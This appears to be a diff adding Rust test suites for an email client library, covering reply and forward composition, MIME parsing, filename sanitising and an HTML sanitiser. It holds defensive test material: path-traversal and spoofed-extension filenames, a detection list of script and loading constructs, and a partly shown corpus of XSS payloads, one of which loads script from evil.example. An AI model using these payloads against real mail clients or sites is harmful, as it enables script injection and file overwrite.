assert!(d.attachments.is_empty(), "a reply does not carry attachments");
|
||||
assert_eq!(d.from, me());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn reply_does_not_stack_prefixes_and_prefers_reply_to() {
|
||||
let raw = b"From: list@example.com\r\nReply-To: Anna <anna@example.com>\r\nSubject: RE: Re: plan\r\nMessage-ID: <x@y>\r\n\r\nhi\r\n";
|
||||
let d = reply(&parse(raw).unwrap(), &me(), ReplyMode::Sender);
|
||||
assert_eq!(d.subject, "Re: plan");
|
||||
assert_eq!(d.to[0].email, "anna@example.com");
|
||||
assert_eq!(d.references, vec!["x@y"]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn reply_all_keeps_everyone_but_me_once() {
|
||||
let d = reply(&original(), &me(), ReplyMode::All);
|
||||
let to: Vec<_> = d.to.iter().map(|a| a.email.as_str()).collect();
|
||||
let cc: Vec<_> = d.cc.iter().map(|a| a.email.as_str()).collect();
|
||||
assert_eq!(to, vec!["anna@example.com"]);
|
||||
assert_eq!(cc, vec!["jiri@example.cz", "eva@example.cz"]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn reply_to_my_own_sent_mail_goes_to_the_original_recipients() {
|
||||
let raw = b"From: Mark <mark@example.cz>\r\nTo: anna@example.com\r\nSubject: s\r\nMessage-ID: <m@x>\r\n\r\nhi\r\n";
|
||||
let d = reply(&parse(raw).unwrap(), &me(), ReplyMode::Sender);
|
||||
assert_eq!(d.to[0].email, "anna@example.com");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn forward_keeps_attachments_and_the_original() {
|
||||
let orig = original();
|
||||
let d = forward(&orig, &me());
|
||||
assert_eq!(d.subject, "Fwd: Výlet v sobotu");
|
||||
assert!(d.to.is_empty() && d.cc.is_empty());
|
||||
assert_eq!(d.attachments.len(), 1);
|
||||
assert_eq!(d.attachments[0].filename, "mapa.pdf");
|
||||
assert_eq!(d.attachments[0].content_type, "application/pdf");
|
||||
assert_eq!(d.attachments[0].data, orig.attachments[0].data);
|
||||
assert!(d.text.contains("Forwarded message"), "{}", d.text);
|
||||
assert!(d.text.contains("Subject: Výlet v sobotu"), "{}", d.text);
|
||||
assert!(d.text.contains("Pojedeme v 8."), "{}", d.text);
|
||||
assert!(d.html.as_deref().unwrap().contains("<b>8</b>"));
|
||||
// Forwarded attachments survive compose -> parse.
|
||||
let back = parse(&compose(&d, "fwd-1@example.cz", 1_794_128_400)).unwrap();
|
||||
assert_eq!(back.attachments.len(), 1);
|
||||
assert_eq!(back.attachments[0].data, orig.attachments[0].data);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn composed_reply_carries_in_reply_to_and_references() {
|
||||
let d = reply(&original(), &me(), ReplyMode::All);
|
||||
let raw = compose(&d, "reply-1@example.cz", 1_794_128_400);
|
||||
let back = parse(&raw).unwrap();
|
||||
assert_eq!(back.message_id.as_deref(), Some("reply-1@example.cz"));
|
||||
assert_eq!(back.in_reply_to, vec!["orig-2@example.com"]);
|
||||
assert_eq!(back.references, vec!["root-0@example.com", "orig-1@example.com", "orig-2@example.com"]);
|
||||
assert_eq!(back.date, Some(1_794_128_400));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn bcc_is_never_written_into_the_message() {
|
||||
let d = Draft {
|
||||
from: me(),
|
||||
to: vec![Address::new(None, "anna@example.com")],
|
||||
bcc: vec![Address::new(Some("Secret"), "hidden@example.cz")],
|
||||
subject: "s".into(),
|
||||
text: "t".into(),
|
||||
..Default::default()
|
||||
};
|
||||
let raw = String::from_utf8(compose(&d, "b@example.cz", 0)).unwrap();
|
||||
assert!(!raw.contains("hidden@example.cz"), "{raw}");
|
||||
assert!(!raw.to_ascii_lowercase().contains("bcc:"), "{raw}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn compose_is_deterministic() {
|
||||
let d = forward(&original(), &me());
|
||||
assert_eq!(compose(&d, "same@example.cz", 5), compose(&d, "same@example.cz", 5));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn message_id_shape() {
|
||||
let id = message_id([0xAB; 16], "example.cz");
|
||||
assert_eq!(id, format!("{}@example.cz", "ab".repeat(16)));
|
||||
assert_ne!(message_id([1; 16], "example.cz"), message_id([2; 16], "example.cz"));
|
||||
}
|
||||
|
||||
fn address() -> impl Strategy<Value = Address> {
|
||||
(
|
||||
proptest::option::of("[A-Za-zÁČĎÉĚÍŇÓŘŠŤÚŮÝŽáčďéěíňóřšťúůýž][A-Za-zčřšžý .'-]{0,20}[a-zý]"),
|
||||
"[a-z][a-z0-9._-]{0,10}[a-z0-9]@[a-z]{2,10}\\.(cz|com|org)",
|
||||
)
|
||||
.prop_map(|(name, email)| Address::new(name.as_deref(), &email))
|
||||
}
|
||||
|
||||
fn body_text() -> impl Strategy<Value = String> {
|
||||
proptest::collection::vec("[A-Za-z0-9ěščřžýáíéúůĚŠČŘŽ€ .,!?:;()+-]{0,70}", 0..8)
|
||||
.prop_map(|lines| lines.iter().map(|l| l.trim_end()).collect::<Vec<_>>().join("\n"))
|
||||
}
|
||||
|
||||
fn attachment() -> impl Strategy<Value = OutAttachment> {
|
||||
(
|
||||
"[A-Za-z0-9_-]{1,20}",
|
||||
prop_oneof![
|
||||
Just(("pdf", "application/pdf")),
|
||||
Just(("png", "image/png")),
|
||||
Just(("bin", "application/octet-stream"))
|
||||
],
|
||||
proptest::collection::vec(any::<u8>(), 0..3000),
|
||||
)
|
||||
.prop_map(|(stem, (ext, ct), data)| OutAttachment {
|
||||
filename: format!("{stem}.{ext}"),
|
||||
content_type: ct.into(),
|
||||
data,
|
||||
})
|
||||
}
|
||||
|
||||
fn draft() -> impl Strategy<Value = Draft> {
|
||||
(
|
||||
address(),
|
||||
proptest::collection::vec(address(), 1..4),
|
||||
proptest::collection::vec(address(), 0..3),
|
||||
"[A-Za-z0-9ěščřžýáíé€][A-Za-z0-9ěščřžýáíé€ ,.!?:-]{0,120}[A-Za-z0-9ěščřžýáíé€]",
|
||||
body_text(),
|
||||
any::<bool>(),
|
||||
proptest::collection::vec(attachment(), 0..3),
|
||||
)
|
||||
.prop_map(|(from, to, cc, subject, text, with_html, attachments)| {
|
||||
let html = with_html
|
||||
.then(|| format!("<p>{}</p>", text.replace('&', "&").replace('<', "<").replace('\n', "<br>")));
|
||||
Draft { from, to, cc, subject, text, html, attachments, ..Default::default() }
|
||||
})
|
||||
}
|
||||
|
||||
proptest! {
|
||||
#![proptest_config(ProptestConfig::with_cases(300))]
|
||||
|
||||
#[test]
|
||||
fn parse_of_compose_is_identity(d in draft()) {
|
||||
let raw = compose(&d, "prop@example.cz", 1_700_000_000);
|
||||
let back = parse(&raw).unwrap();
|
||||
prop_assert_eq!(&back.subject, &d.subject);
|
||||
prop_assert_eq!(&back.from, &vec![d.from.clone()]);
|
||||
prop_assert_eq!(&back.to, &d.to);
|
||||
prop_assert_eq!(&back.cc, &d.cc);
|
||||
prop_assert_eq!(back.text.as_deref().unwrap_or("").trim_end(), d.text.trim_end());
|
||||
prop_assert_eq!(back.html.as_deref().map(str::trim_end), d.html.as_deref().map(str::trim_end));
|
||||
let files: Vec<_> = back.attachments.iter()
|
||||
.map(|a| (a.filename.clone(), a.content_type.clone(), a.data.clone())).collect();
|
||||
let expected: Vec<_> = d.attachments.iter()
|
||||
.map(|a| (a.filename.clone(), a.content_type.clone(), a.data.clone())).collect();
|
||||
prop_assert_eq!(files, expected);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
# Seeds for failure cases proptest has generated in the past. It is
|
||||
# automatically read and these particular cases re-run before any
|
||||
# novel cases are generated.
|
||||
#
|
||||
# It is recommended to check this file in to source control so that
|
||||
# everyone who runs the test benefits from these saved cases.
|
||||
cc 6998aa3983faeb709f1f5e13f945049ca486ff885fe786e0338eb4be3054a60c # shrinks to parts = []
|
||||
cc f85abeaf71fce0d1a52d1bab4ed0f7f512db98bf259645719f8acf72a525b044 # shrinks to raw = ""
|
||||
cc b1b06966991973e916da1a3895fa747e94ac2def84cfb213b4c8fa6222a97119 # shrinks to raw = []
|
||||
+348
@@ -0,0 +1,348 @@
|
||||
//! Mandatory: MIME fixtures. Every fixture is built here in code (no corpora in git).
|
||||
|
||||
use base64::Engine;
|
||||
use epistula_core::mime::{MAX_MESSAGE_BYTES, ParseError, parse};
|
||||
use epistula_core::safe_filename;
|
||||
use epistula_core::sanitize::{InlineImage, SanitizeOptions, sanitize};
|
||||
use proptest::prelude::*;
|
||||
use std::collections::HashMap;
|
||||
|
||||
fn b64(data: &[u8]) -> String {
|
||||
let encoded = base64::engine::general_purpose::STANDARD.encode(data);
|
||||
let mut out = String::with_capacity(encoded.len() + encoded.len() / 76 * 2);
|
||||
for chunk in encoded.as_bytes().chunks(76) {
|
||||
out.push_str(std::str::from_utf8(chunk).unwrap());
|
||||
out.push_str("\r\n");
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
/// Deterministic pseudo-random bytes (xorshift), so the 8 MB fixture needs no file.
|
||||
fn noise(len: usize, mut seed: u64) -> Vec<u8> {
|
||||
let mut out = Vec::with_capacity(len);
|
||||
while out.len() < len {
|
||||
seed ^= seed << 13;
|
||||
seed ^= seed >> 7;
|
||||
seed ^= seed << 17;
|
||||
out.extend_from_slice(&seed.to_le_bytes());
|
||||
}
|
||||
out.truncate(len);
|
||||
out
|
||||
}
|
||||
|
||||
const PNG_1X1: &[u8] = &[
|
||||
0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0, 0, 0, 0x0D, 0x49, 0x48, 0x44, 0x52, 0, 0, 0, 1, 0, 0, 0, 1, 8,
|
||||
6, 0, 0, 0, 0x1F, 0x15, 0xC4, 0x89,
|
||||
];
|
||||
|
||||
fn nested_fixture() -> Vec<u8> {
|
||||
format!(
|
||||
"From: \"Anna Nováková\" <anna@example.com>\r\n\
|
||||
To: Mark <mark@example.cz>, family@example.cz\r\n\
|
||||
Cc: =?UTF-8?Q?Ji=C5=99=C3=AD?= <jiri@example.cz>\r\n\
|
||||
Subject: =?UTF-8?B?UMWZw61sb2h5IGEgb2Jyw6F6a3k=?=\r\n\
|
||||
Date: Sat, 08 Nov 2026 10:00:00 +0100\r\n\
|
||||
Message-ID: <nested-1@example.com>\r\n\
|
||||
In-Reply-To: <parent@example.com>\r\n\
|
||||
References: <root@example.com> <parent@example.com>\r\n\
|
||||
MIME-Version: 1.0\r\n\
|
||||
Content-Type: multipart/mixed; boundary=\"outer\"\r\n\
|
||||
\r\n\
|
||||
--outer\r\n\
|
||||
Content-Type: multipart/alternative; boundary=\"alt\"\r\n\
|
||||
\r\n\
|
||||
--alt\r\n\
|
||||
Content-Type: text/plain; charset=utf-8\r\n\
|
||||
Content-Transfer-Encoding: quoted-printable\r\n\
|
||||
\r\n\
|
||||
Ahoj, pos=C3=ADl=C3=A1m fotky.\r\n\
|
||||
--alt\r\n\
|
||||
Content-Type: multipart/related; boundary=\"rel\"\r\n\
|
||||
\r\n\
|
||||
--rel\r\n\
|
||||
Content-Type: text/html; charset=utf-8\r\n\
|
||||
\r\n\
|
||||
<p>Ahoj, <b>posílám</b> fotky.</p><img src=\"cid:photo1@example.com\">\r\n\
|
||||
--rel\r\n\
|
||||
Content-Type: image/png\r\n\
|
||||
Content-Transfer-Encoding: base64\r\n\
|
||||
Content-ID: <photo1@example.com>\r\n\
|
||||
Content-Disposition: inline; filename=\"photo.png\"\r\n\
|
||||
\r\n\
|
||||
{png}\
|
||||
--rel--\r\n\
|
||||
--alt--\r\n\
|
||||
--outer\r\n\
|
||||
Content-Type: application/pdf; name=\"=?UTF-8?B?UMWZw61sb2hhLnBkZg==?=\"\r\n\
|
||||
Content-Transfer-Encoding: base64\r\n\
|
||||
Content-Disposition: attachment; filename=\"=?UTF-8?B?UMWZw61sb2hhLnBkZg==?=\"\r\n\
|
||||
\r\n\
|
||||
{pdf}\
|
||||
--outer--\r\n",
|
||||
png = b64(PNG_1X1),
|
||||
pdf = b64(b"%PDF-1.4 fake"),
|
||||
)
|
||||
.into_bytes()
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn nested_multipart_bodies_headers_and_attachments() {
|
||||
let m = parse(&nested_fixture()).unwrap();
|
||||
assert_eq!(m.subject, "Přílohy a obrázky");
|
||||
assert_eq!(m.message_id.as_deref(), Some("nested-1@example.com"));
|
||||
assert_eq!(m.in_reply_to, vec!["parent@example.com"]);
|
||||
assert_eq!(m.references, vec!["root@example.com", "parent@example.com"]);
|
||||
assert_eq!(m.from[0].name.as_deref(), Some("Anna Nováková"));
|
||||
assert_eq!(m.from[0].email, "anna@example.com");
|
||||
assert_eq!(m.to.len(), 2);
|
||||
assert_eq!(m.cc[0].name.as_deref(), Some("Jiří"));
|
||||
assert_eq!(m.date, Some(1_794_128_400));
|
||||
assert!(m.text.as_deref().unwrap().contains("posílám fotky"));
|
||||
assert!(!m.text.as_deref().unwrap().contains('\r'), "line endings are \\n");
|
||||
assert!(m.html.as_deref().unwrap().contains("<b>posílám</b>"));
|
||||
assert_eq!(m.attachments.len(), 2);
|
||||
let inline = m.attachments.iter().find(|a| a.inline).unwrap();
|
||||
assert_eq!(inline.content_id.as_deref(), Some("photo1@example.com"));
|
||||
assert_eq!(inline.content_type, "image/png");
|
||||
assert_eq!(inline.data, PNG_1X1);
|
||||
let pdf = m.attachments.iter().find(|a| !a.inline).unwrap();
|
||||
assert_eq!(pdf.filename, "Příloha.pdf", "RFC 2047 encoded name");
|
||||
assert_eq!(pdf.content_type, "application/pdf");
|
||||
assert_eq!(pdf.data, b"%PDF-1.4 fake");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn inline_cid_image_becomes_a_data_uri_in_the_reader() {
|
||||
let m = parse(&nested_fixture()).unwrap();
|
||||
let inline = m.attachments.iter().find(|a| a.inline).unwrap();
|
||||
let mut images = HashMap::new();
|
||||
images.insert(
|
||||
inline.content_id.clone().unwrap(),
|
||||
InlineImage { content_type: &inline.content_type, data: &inline.data },
|
||||
);
|
||||
let out =
|
||||
sanitize(m.html.as_deref().unwrap(), &SanitizeOptions { load_remote_images: false, inline_images: images });
|
||||
assert!(out.html.contains("data:image/png;base64,"), "{}", out.html);
|
||||
assert!(!out.html.contains("cid"), "{}", out.html);
|
||||
assert_eq!(out.blocked_images, 0);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn rfc2231_and_rfc2047_names() {
|
||||
let raw = format!(
|
||||
"From: =?ISO-8859-2?Q?Ji=F8=ED?= <jiri@example.cz>\r\n\
|
||||
Subject: =?UTF-8?Q?=C4=8Cesk=C3=BD_p=C5=99edm=C4=9Bt?=\r\n\
|
||||
Content-Type: multipart/mixed; boundary=b\r\n\r\n\
|
||||
--b\r\nContent-Type: text/plain\r\n\r\nhi\r\n\
|
||||
--b\r\nContent-Type: application/octet-stream\r\n\
|
||||
Content-Disposition: attachment; filename*=UTF-8''%C5%BEluou%C4%8Dk%C3%BD%20k%C5%AF%C5%88.txt\r\n\
|
||||
Content-Transfer-Encoding: base64\r\n\r\n{}--b--\r\n",
|
||||
b64(b"x")
|
||||
);
|
||||
let m = parse(raw.as_bytes()).unwrap();
|
||||
assert_eq!(m.from[0].name.as_deref(), Some("Jiří"));
|
||||
assert_eq!(m.subject, "Český předmět");
|
||||
assert_eq!(m.attachments[0].filename, "žluoučký kůň.txt");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn broken_charsets_do_not_panic_and_keep_text() {
|
||||
let unknown = b"Subject: x\r\nContent-Type: text/plain; charset=\"x-no-such-charset\"\r\n\r\nCaf\xE9 ok\r\n";
|
||||
let m = parse(unknown).unwrap();
|
||||
assert!(m.text.unwrap().contains("ok"));
|
||||
|
||||
let invalid_utf8 =
|
||||
b"Subject: =?UTF-8?B?/w==?=\r\nContent-Type: text/plain; charset=utf-8\r\n\r\nbad \xFF\xFE bytes\r\n";
|
||||
let m = parse(invalid_utf8).unwrap();
|
||||
assert!(m.text.unwrap().contains("bytes"));
|
||||
|
||||
let latin2 = b"Subject: x\r\nContent-Type: text/plain; charset=iso-8859-2\r\n\r\n\xE8esk\xFD\r\n";
|
||||
assert_eq!(parse(latin2).unwrap().text.unwrap().trim(), "český");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn missing_boundaries_do_not_panic() {
|
||||
let no_param = b"Subject: x\r\nContent-Type: multipart/mixed\r\n\r\njust some text\r\n";
|
||||
let m = parse(no_param).unwrap();
|
||||
assert_eq!(m.subject, "x");
|
||||
|
||||
let never_closed = b"Subject: y\r\nContent-Type: multipart/mixed; boundary=zz\r\n\r\n--zz\r\nContent-Type: text/plain\r\n\r\nunterminated body\r\n";
|
||||
let m = parse(never_closed).unwrap();
|
||||
assert!(m.text.unwrap().contains("unterminated body"));
|
||||
|
||||
let wrong_boundary = b"Subject: z\r\nContent-Type: multipart/mixed; boundary=aa\r\n\r\n--bb\r\nContent-Type: text/plain\r\n\r\nhidden\r\n--bb--\r\n";
|
||||
assert!(parse(wrong_boundary).is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn eight_megabyte_attachment_round_trips() {
|
||||
let data = noise(8 * 1024 * 1024, 0x5eed);
|
||||
let raw = format!(
|
||||
"Subject: big\r\nContent-Type: multipart/mixed; boundary=big\r\n\r\n\
|
||||
--big\r\nContent-Type: text/plain\r\n\r\nsee attached\r\n\
|
||||
--big\r\nContent-Type: application/zip\r\nContent-Disposition: attachment; filename=big.zip\r\n\
|
||||
Content-Transfer-Encoding: base64\r\n\r\n{}--big--\r\n",
|
||||
b64(&data)
|
||||
);
|
||||
let m = parse(raw.as_bytes()).unwrap();
|
||||
assert_eq!(m.attachments.len(), 1);
|
||||
assert_eq!(m.attachments[0].data.len(), data.len());
|
||||
assert!(m.attachments[0].data == data);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn two_hundred_kilobyte_header_block() {
|
||||
let mut raw = String::new();
|
||||
while raw.len() < 200 * 1024 {
|
||||
raw.push_str("X-Junk: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n");
|
||||
}
|
||||
raw.push_str("Subject: after the junk\r\nFrom: a@example.com\r\n\r\nbody\r\n");
|
||||
let m = parse(raw.as_bytes()).unwrap();
|
||||
assert_eq!(m.subject, "after the junk");
|
||||
assert_eq!(m.text.unwrap().trim(), "body");
|
||||
|
||||
// One folded header line of 200 KB.
|
||||
let mut folded = String::from("Subject: start");
|
||||
while folded.len() < 200 * 1024 {
|
||||
folded.push_str("\r\n word");
|
||||
}
|
||||
folded.push_str("\r\n\r\nbody\r\n");
|
||||
let m = parse(folded.as_bytes()).unwrap();
|
||||
assert!(m.subject.chars().count() <= epistula_core::mime::MAX_SUBJECT_CHARS);
|
||||
assert!(m.subject.starts_with("start"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn hostile_filenames_in_messages_are_made_safe() {
|
||||
let names = ["../../../etc/passwd", "..\\..\\Windows\\win.ini", "CON.txt", "invoice\u{202E}fdp.exe"];
|
||||
let mut raw = String::from("Subject: files\r\nContent-Type: multipart/mixed; boundary=f\r\n\r\n");
|
||||
for name in names {
|
||||
raw.push_str(&format!(
|
||||
"--f\r\nContent-Type: application/octet-stream\r\nContent-Disposition: attachment; filename=\"{name}\"\r\n\r\nx\r\n"
|
||||
));
|
||||
}
|
||||
raw.push_str("--f--\r\n");
|
||||
let m = parse(raw.as_bytes()).unwrap();
|
||||
assert_eq!(m.attachments.len(), names.len());
|
||||
for a in &m.attachments {
|
||||
assert!(!a.filename.contains('/') && !a.filename.contains('\\'), "{:?}", a.filename);
|
||||
assert!(!a.filename.contains(".."), "{:?}", a.filename);
|
||||
assert!(!a.filename.contains('\u{202E}'));
|
||||
assert!(!a.filename.eq_ignore_ascii_case("con.txt"));
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn safe_filename_cases() {
|
||||
assert_eq!(safe_filename("../../../etc/passwd"), "passwd");
|
||||
assert_eq!(safe_filename("..\\..\\Windows\\win.ini"), "win.ini");
|
||||
assert_eq!(safe_filename("C:\\Users\\x\\a.doc"), "a.doc");
|
||||
assert_eq!(safe_filename("CON"), "_CON");
|
||||
assert_eq!(safe_filename("con.txt"), "_con.txt");
|
||||
assert_eq!(safe_filename("LPT9.log"), "_LPT9.log");
|
||||
assert_eq!(safe_filename("COM1.tar.gz"), "_COM1.tar.gz");
|
||||
assert_eq!(safe_filename("aux"), "_aux");
|
||||
assert_eq!(safe_filename("NUL."), "_NUL");
|
||||
assert_eq!(safe_filename("CONSOLE.txt"), "CONSOLE.txt", "only exact reserved names");
|
||||
assert_eq!(safe_filename("invoice\u{202E}fdp.exe"), "invoicefdp.exe");
|
||||
assert_eq!(safe_filename("a\u{2066}b\u{200F}c\u{061C}.txt"), "abc.txt");
|
||||
assert_eq!(safe_filename("a<b>c:d\"e|f?g*h.txt"), "a_b_c_d_e_f_g_h.txt");
|
||||
assert_eq!(safe_filename("tab\there\0nul.txt"), "tabherenul.txt");
|
||||
assert_eq!(safe_filename("file.txt. . "), "file.txt");
|
||||
assert_eq!(safe_filename(".hidden"), "hidden");
|
||||
assert_eq!(safe_filename(""), "attachment");
|
||||
assert_eq!(safe_filename("..."), "attachment");
|
||||
assert_eq!(safe_filename("/"), "attachment");
|
||||
assert_eq!(safe_filename("Příloha – výpis.pdf"), "Příloha – výpis.pdf");
|
||||
let long = format!("{}.pdf", "a".repeat(500));
|
||||
let cut = safe_filename(&long);
|
||||
assert_eq!(cut.chars().count(), epistula_core::filename::MAX_FILENAME_CHARS);
|
||||
assert!(cut.ends_with(".pdf"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn message_rfc822_attachment_is_kept_as_a_file() {
|
||||
let raw = b"Subject: fwd\r\nContent-Type: multipart/mixed; boundary=m\r\n\r\n\
|
||||
--m\r\nContent-Type: text/plain\r\n\r\nsee inner\r\n\
|
||||
--m\r\nContent-Type: message/rfc822\r\n\r\nSubject: inner\r\nFrom: x@example.com\r\n\r\ninner body\r\n\
|
||||
--m--\r\n";
|
||||
let m = parse(raw).unwrap();
|
||||
assert_eq!(m.subject, "fwd");
|
||||
assert_eq!(m.attachments.len(), 1);
|
||||
assert_eq!(m.attachments[0].content_type, "message/rfc822");
|
||||
assert!(m.attachments[0].filename.ends_with(".eml"));
|
||||
assert!(String::from_utf8_lossy(&m.attachments[0].data).contains("inner body"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn deep_nesting_does_not_overflow() {
|
||||
let depth = 5000;
|
||||
let mut raw = String::from("Subject: deep\r\n");
|
||||
for i in 0..depth {
|
||||
raw.push_str(&format!("Content-Type: multipart/mixed; boundary=b{i}\r\n\r\n--b{i}\r\n"));
|
||||
}
|
||||
raw.push_str("Content-Type: text/plain\r\n\r\nbottom\r\n");
|
||||
let m = parse(raw.as_bytes()).unwrap();
|
||||
assert_eq!(m.subject, "deep");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn too_large_is_refused_and_garbage_is_not_mail() {
|
||||
let big = vec![b'a'; MAX_MESSAGE_BYTES + 1];
|
||||
assert_eq!(parse(&big).unwrap_err(), ParseError::TooLarge);
|
||||
assert_eq!(parse(b"").unwrap_err(), ParseError::NotMail);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn debug_output_has_no_content() {
|
||||
let m = parse(&nested_fixture()).unwrap();
|
||||
let debug = format!("{m:?} {:?}", m.attachments);
|
||||
for secret in ["anna", "posílám", "Příloha", "PDF"] {
|
||||
assert!(!debug.contains(secret), "{debug}");
|
||||
}
|
||||
}
|
||||
|
||||
proptest! {
|
||||
#![proptest_config(ProptestConfig::with_cases(512))]
|
||||
|
||||
#[test]
|
||||
fn parse_never_panics_on_bytes(raw in proptest::collection::vec(any::<u8>(), 0..4096)) {
|
||||
let _ = parse(&raw);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parse_never_panics_on_mime_like_text(
|
||||
parts in proptest::collection::vec(prop_oneof![
|
||||
Just("Content-Type: multipart/mixed; boundary=x\r\n".to_string()),
|
||||
Just("--x\r\n".to_string()),
|
||||
Just("--x--\r\n".to_string()),
|
||||
Just("\r\n".to_string()),
|
||||
Just("Content-Transfer-Encoding: base64\r\n".to_string()),
|
||||
Just("Content-Transfer-Encoding: quoted-printable\r\n".to_string()),
|
||||
Just("Content-Disposition: attachment; filename=\"../a\"\r\n".to_string()),
|
||||
Just("Subject: =?UTF-8?B?\r\n".to_string()),
|
||||
Just("=?x?Q?=ZZ?=".to_string()),
|
||||
"[ -~]{0,40}",
|
||||
], 0..60)
|
||||
) {
|
||||
let raw = parts.concat();
|
||||
let _ = parse(raw.as_bytes());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn safe_filename_is_always_safe(raw in "\\PC{0,200}") {
|
||||
let name = safe_filename(&raw);
|
||||
prop_assert!(!name.is_empty());
|
||||
prop_assert!(name.chars().count() <= epistula_core::filename::MAX_FILENAME_CHARS);
|
||||
prop_assert!(!name.contains(['/', '\\', ':', '*', '?', '"', '<', '>', '|', '\0']));
|
||||
prop_assert!(!name.starts_with('.') && !name.ends_with('.') && !name.ends_with(' '));
|
||||
let bidi_or_control = name.chars().any(|c| c.is_control()
|
||||
|| matches!(c, '\u{200E}' | '\u{200F}' | '\u{061C}' | '\u{202A}'..='\u{202E}' | '\u{2066}'..='\u{2069}'));
|
||||
prop_assert!(!bidi_or_control, "{:?}", name);
|
||||
let stem = name.split('.').next().unwrap().to_ascii_uppercase();
|
||||
let reserved = ["CON", "PRN", "AUX", "NUL"].contains(&stem.as_str())
|
||||
|| ((stem.starts_with("COM") || stem.starts_with("LPT")) && stem.len() == 4
|
||||
&& stem.as_bytes()[3].is_ascii_digit());
|
||||
prop_assert!(!reserved, "{}", name);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
# Seeds for failure cases proptest has generated in the past. It is
|
||||
# automatically read and these particular cases re-run before any
|
||||
# novel cases are generated.
|
||||
#
|
||||
# It is recommended to check this file in to source control so that
|
||||
# everyone who runs the test benefits from these saved cases.
|
||||
cc 4e10d11e138d641f5cd862bf9d0328534293c16602b25811c13e17f483d0c012 # shrinks to parts = [], load = false
|
||||
cc 9298836d4e0c985227afc1ac30519c2685a4e3d945870a0e9f17cc9e627b725c # shrinks to parts = []
|
||||
cc 04d94bdb6810dae2da78cbe7203c4f7076050d7986ba6572441864111c45a79e # shrinks to text = ""
|
||||
cc b2079ba7c7b64a2e3b52515689e13d44fb7a5dfb8f1b4e0bb7f24d35fc4cfb28 # shrinks to parts = ["<p title=\"", "javascript:", "<div style=\"", "<script>"]
|
||||
cc c1fdc436d014d409bf600850adb48e9a7d8f2528f1a3c68f69569840c4dd81f1 # shrinks to parts = ["<p title=\"", "javascript:", "<p title=\"", "<script>"], load = false
|
||||
@@ -0,0 +1,392 @@
|
||||
//! Mandatory: the hostile HTML corpus and the sanitiser's properties.
|
||||
|
||||
use epistula_core::sanitize::{BLOCKED_IMAGE_SRC, SanitizeOptions, sanitize, text_to_html};
|
||||
use proptest::prelude::*;
|
||||
|
||||
fn clean(html: &str) -> String {
|
||||
sanitize(html, &SanitizeOptions::default()).html
|
||||
}
|
||||
|
||||
/// Anything executable, anything that loads something, anything that navigates by itself.
|
||||
const FORBIDDEN: &[&str] = &[
|
||||
"<script",
|
||||
"javascript:",
|
||||
"vbscript:",
|
||||
"onerror",
|
||||
"onload",
|
||||
"onclick",
|
||||
"onmouseover",
|
||||
"onfocus",
|
||||
"onbegin",
|
||||
"ontoggle",
|
||||
"expression(",
|
||||
"<form",
|
||||
"<input",
|
||||
"<button",
|
||||
"<textarea",
|
||||
"<select",
|
||||
"<meta",
|
||||
"http-equiv",
|
||||
"refresh",
|
||||
"<iframe",
|
||||
"<frame",
|
||||
"<object",
|
||||
"<embed",
|
||||
"<applet",
|
||||
"<base",
|
||||
"<link",
|
||||
"<style",
|
||||
"@import",
|
||||
"url(",
|
||||
"behavior:",
|
||||
"-moz-binding",
|
||||
"<svg",
|
||||
"<math",
|
||||
"srcdoc",
|
||||
"formaction",
|
||||
"data:text/html",
|
||||
"evil.example",
|
||||
"<template",
|
||||
"<noscript",
|
||||
"<xml",
|
||||
"xlink:href",
|
||||
];
|
||||
|
||||
const CORPUS: &[&str] = &[
|
||||
"<script>alert(1)</script>",
|
||||
"<SCRIPT SRC=//evil.example/x.js></SCRIPT>",
|
||||
"<scr<script>ipt>alert(1)</script>",
|
||||
"<img src=x onerror=alert(1)>",
|
||||
"<img src=\"x\" ONERROR=\"alert(1)\">",
|
||||
"<img src=x onerror\n=alert(1)>",
|
||||
"<body onload=alert(1)>hi</body>",
|
||||
"<svg onload=alert(1)><circle r=1></svg>",
|
||||
"<svg><script>alert(1)</script></svg>",
|
||||
"<svg><animate onbegin=alert(1) attributeName=x></svg>",
|
||||
"<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>",
|
||||
"<a href=\"javascript:alert(1)\">x</a>",
|
||||
"<a href=\"JaVaScRiPt:alert(1)\">x</a>",
|
||||
"<a href=\"java	script:alert(1)\">x</a>",
|
||||
"<a href=\"javascript:alert(1)\">x</a>",
|
||||
"<a href=\" javascript:alert(1)\">x</a>",
|
||||
"<a href=\"vbscript:msgbox(1)\">x</a>",
|
||||
"<a href=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\">x</a>",
|
||||
"<iframe src=\"data:text/html,<script>alert(1)</script>\"></iframe>",
|
||||
"<iframe srcdoc=\"<script>alert(1)</script>\"></iframe>",
|
||||
"<object data=\"evil.example/x.swf\"></object>",
|
||||
"<embed src=\"evil.example/x.swf\">",
|
||||
